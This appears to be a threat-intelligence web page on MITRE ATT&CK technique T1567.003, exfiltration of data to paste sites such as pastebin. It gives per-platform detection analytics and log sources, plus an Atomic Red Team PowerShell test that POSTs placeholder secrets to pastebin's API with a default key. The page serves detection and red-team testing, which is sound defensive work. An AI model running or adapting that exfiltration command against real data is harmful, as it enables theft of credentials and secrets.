tfMITRE ATT&CK sub-technique

Exfiltration to Text Storage Sites T1567.003

sub-technique of T1567 Exfiltration Over Web Service

Tactic: Exfiltration
Platforms: Linux, macOS, Windows, ESXi
Version: 1.1
Created: 27 February 2023
Last modified: 15 April 2025
Contributor: Harun Küßner

Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsNone recorded

Threat groupsNone recorded · 29% of ATT&CK techniques have none either.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malwareNone recorded

Tools & malwareNone recorded · 29% of ATT&CK techniques have none either.

Detection rulesNone recorded

Detection rulesNone recorded · 33% of ATT&CK techniques have none either.

Offense vs defense T1567.003

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

Exfiltration to Text Storage Sites detection strategy DET0284

MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Exfiltration to Text Storage Sites

Enterprise

4 platforms

AN0787 · Windows

Unexpected processes (e.g., powershell.exe, wscript.exe, office apps) initiating HTTP POST/PUT requests to text storage domains like pastebin.com or hastebin.com, particularly when preceded by file access in sensitive directories. Defender perspective: correlation of process lineage, large clipboard/file read operations, and outbound uploads to text storage services.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
File AccessDC0055	WinEventLog:Security	EventCode=4663, 4670, 4656
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TextStorageDomains	Domains to monitor such as pastebin.com, hastebin.com, ghostbin.com.
UploadSizeThreshold	Minimum data size (e.g., >500KB) to trigger alerts for suspicious uploads.
UserContext	User accounts with legitimate business justification for posting to text storage sites.

AN0788 · Linux

Use of curl, wget, or custom scripts to POST data to pastebin-like services. Defender perspective: identify chained behavior where files are compressed/read followed by HTTPS POST requests to text-sharing endpoints.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File AccessDC0055	auditd:SYSCALL	read/open of sensitive file directories
Command ExecutionDC0064	auditd:EXECVE	curl -d, wget --post-data
Network Traffic ContentDC0085	NSM:Flow	large HTTPS POST requests to text storage domains

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AllowedTools	Whitelist of tools (e.g., curl for package repos) to reduce false positives.
WorkHours	Expected time ranges for developer interactions with external paste sites.

AN0789 · macOS

Processes such as osascript, curl, or office applications sending data to text storage APIs/domains. Defender perspective: anomalous clipboard or file reads by unexpected applications immediately followed by outbound HTTPS requests to pastebin-like services.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	execution of curl, osascript, or unexpected Office processes
File AccessDC0055	macos:unifiedlog	file read of sensitive directories
Network Traffic FlowDC0078	macos:unifiedlog	HTTPS POST requests to pastebin.com or similar

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
WatchedApps	Processes not normally associated with data uploads (e.g., Preview, Calculator).
EntropyThreshold	High entropy detection to flag encoded or encrypted data exfiltration.

AN0790 · ESXi

ESXi services (vmx, hostd) generating outbound HTTPS POST requests to text storage sites. Defender perspective: anomalous datastore or log reads chained with traffic to pastebin-like destinations.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File AccessDC0055	esxi:hostd	datastore/log file access
Network Traffic ContentDC0085	esxi:vmkernel	HTTPS POST connections to pastebin-like domains

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
DatastoreExfilThreshold	Threshold of bytes exfiltrated from ESXi datastore files.
ApprovedDestinations	Whitelist of domains approved for API communication to prevent false positives.

Tests1ExecutorsPowerShell 1Need elevation0 of 1Have prerequisites0Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows)

windows

PowerShell

—

This test uses HTTP POST to exfiltrate data to a remote text storage site. (pastebin) See https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it

Input arguments

Name	Type	Default	Description
api_key	string	6nxrBm7UIJuaEuPOkH5Z8I7SvCLN3OP0	Pastebin API key

Attack command

$apiKey = "#{api_key}"
$content = "secrets, api keys, passwords..."
$url = "https://pastebin.com/api/api_post.php"
$postData = @{
  api_dev_key   = $apiKey
  api_option    = "paste"
  api_paste_code = $content
}
$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData
Write-Host "Your paste URL: $response"

GUID6e31da50-3daa-4f2a-8bc7-14b9222b0a73

Tests from Atomic Red Team (MIT licence) · technique definition

Exfiltration to Text Storage Sites detections T1567.003

No detection rules are mapped to this technique yet.

None recorded— 33% of ATT&CK techniques have none either

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs